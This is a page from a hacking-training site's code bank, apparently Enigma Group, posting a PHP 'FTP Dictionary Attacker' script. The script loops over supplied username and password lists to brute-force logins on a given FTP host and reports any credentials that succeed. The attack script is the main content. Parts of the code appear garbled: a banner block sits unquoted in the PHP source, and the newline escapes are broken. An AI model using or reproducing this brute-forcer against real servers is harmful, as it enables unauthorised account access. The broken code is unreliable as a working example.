EG Information

Main Index
EG Manual
Disclaimer
Legal Information
Hall of Fame
Hall of Shame
Member Rankings
Members List
Meet the Staff

Training Missions

Read Me First New
Basic Skills
Realistic Scenarios
Cryptography
Software Cracking
Linux ELF Binary Cracking
Logical Thinking
Programming
Patching
Steganography
Deface This Wall
/dev/null
/dev/urandom

Knowledge Bank

Discussion Forums
Enigma Chat New
RSS Feeds RSS
Articles / Tutorials
Videos
Online EG MP3 Player Radio
Enigma Zine
Downloads
Tools New

Code Resources

Submit Code
Ajax
ASM
Bash
C
CPP
Csharp
Delphi
Haskell
Java
Javascript
Jython
Lisp
mIRC
MySQL
Perl
PHP
Python
QBASIC
VisualBasic

Hakipedia: An open collaborative for all your information security needs.

The Urinal

Click Here To Vote For EG!

Has Enigma Group Helped You? Then Help Us By Advertising For Us. Place One Of The Following Images On Your Site.

enigma group

enigma group

enigma group

enigma group

Enigma Group's Code Bank


PHP FTP Bruter

By: blink_212  -  Date Submitted: 2009-02-26 22:50:51

  1. #!/usr/bin/php -q
  2. <?php
  3.  
  4. /**
  5.  * FTP Dictionary Attacker v1.0
  6.  *
  7.  * by blink_212
  8.  *
  9.  * EnigmaGroup.org
  10.  *
  11.  */
  12.  
  13.  
  14. $users=@$argv[1];
  15. $passlist=@$argv[2];
  16. $host=@$argv[3];
  17. $port=@$argv[4];
  18.  
  19.  
  20. ### ### ## ## # # ###
  21. # # # # # ### ## ### # # # # ## #
  22. ## # ## # # # # # ## # # # ###
  23. # # # # # ### ### # # # # #
  24. # # # ## ### # ###
  25.  
  26. Coded by zeN@dusecurity.com
  27.  
  28. Usage :
  29. php ftp_crack.php <userlist> <passlist> <host> <port>
  30.  
  31. --------------------------------------------------------------------n");
  32.  
  33. if(count(@$argv) <= 1)
  34. {
  35. die("n");
  36. }
  37.  
  38. if(!$users)
  39. {
  40. die("n[-] No userlist was entered, exiting...n");
  41. }
  42. if(!$passlist)
  43. {
  44. die("n[-] No passlist was entered, exiting...n");
  45. }
  46. if(!$host)
  47. {
  48. die("n[-] No host was entered, exiting...n");
  49. }
  50. if(!$port)
  51. {
  52. die("n[-] No port was entered, exiting...n");
  53. }
  54.  
  55. $file = @file($passlist);
  56. $user = @file($users);
  57.  
  58. if(!$file)
  59. {
  60. print("n[-] Unable to load ".$passlist);
  61. $error = 1;
  62. }
  63.  
  64. if(!$user)
  65. {
  66. print("n[-] Unable to load ".$users);
  67. $error = 1;
  68. }
  69.  
  70. if(@$error == 1)
  71. {
  72. die("n[-] To many errors, exiting...");
  73. }
  74. {
  75. $x = count($file);
  76. print("n[+] Loaded ".count($user)." usernames.");
  77. print("n[+] Loaded ".$x." passwords.");
  78. }
  79.  
  80. print("n[+] Starting attack on ".$host);
  81.  
  82. foreach($user as $uname)
  83. {
  84. $i = 1;
  85.  
  86. $uname = substr_replace($uname ,"",-1);
  87.  
  88. print("n[+] Trying user : ".$uname);
  89.  
  90. foreach($file as $pass)
  91. {
  92. $pass = substr_replace($pass ,"",-1);
  93.  
  94. $link = ConnectMe($host, $port) || die("n[-] Unable to connect, aborting!");
  95. if (@ftp_login($link,$uname, $pass))
  96. {
  97. print("n[+] Found Login - ".$uname."n");
  98. die("|(".$i."/".$x.")---> ".$pass."n");
  99. }
  100. {
  101. print "n[-] ".$uname."n";
  102. print "|(".$i."/".$x.")---> ".$pass;
  103. }
  104. $i++;
  105. }
  106. }
  107.  
  108. die("n[-] All lists exausted, exiting...");
  109.  
  110. function ConnectMe($host, $port)
  111. {
  112. $link = @ftp_connect($host,$port,8000) || die("n[-] Unable to connect, aborting!n");
  113. return $link;
  114. }
  115. ?>
Return to php category list

Who's Online

485 Guests, 101 Users
ckryptix, asapong, Ios, viper0i0, Diznablo, rabbidmind, Nasrudin, CollapsingWalls, mehtaparag, bitstrike, jnony, C, Nicid1, Nusquam-Redono-Sapientia, bazcrown, saifulfaizan, The End, Ultraminor, psychomarine, st3alth, themastersinner, pgmrlink, login, lionaneesh, ishkur88, mahraja, Mac, chekifr, gandalf88, Vap0r, t0ast, tantrum6226, BnE, Distorted, Psiber_Syn, Ausome1, invas10n, oldgoat, freedaysbecumei, BinaryShinigami, Rex_Mundi, Red_beard, Strobeflux, s0m3nak3dguy, Descent, teehee, machupicchu, Genetix, Anandarl, NotMyOwn, thegamerdude, Godzila, popo12341234, RedEvolution, velocity_b, myne17, teto111, aVoid, Central-Gsm, 1101, JackalReborn, InjectioN, h4lted, c0re, DisPater, markt4death, splatta, Jackowacko, saint556, Pyron2312, Azerion, howsens, white.hat.gone.bad, vazzilly, pwunkz, Inverted, QuarterCask, Infernoe11, deskata, cr4ck3rj4ck, Blizer, jasonmax, j0sh, gwenwavor, N4g4c3N, spizeyboy, Network X, Uino59, Jae Cee, ianFDK, saykov, medhaavee, zofy, demonkiller410, Stumble, SaMTHG, kishore, Raze, helasraizam, Venom1019, Jakabo